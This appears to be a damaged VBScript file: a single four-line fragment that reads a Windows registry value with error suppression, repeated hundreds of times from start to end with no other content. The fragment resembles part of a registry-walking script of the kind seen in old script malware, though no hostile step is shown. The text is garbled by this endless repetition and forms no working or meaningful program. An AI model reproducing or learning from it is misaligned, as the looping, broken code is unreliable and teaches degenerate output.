    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
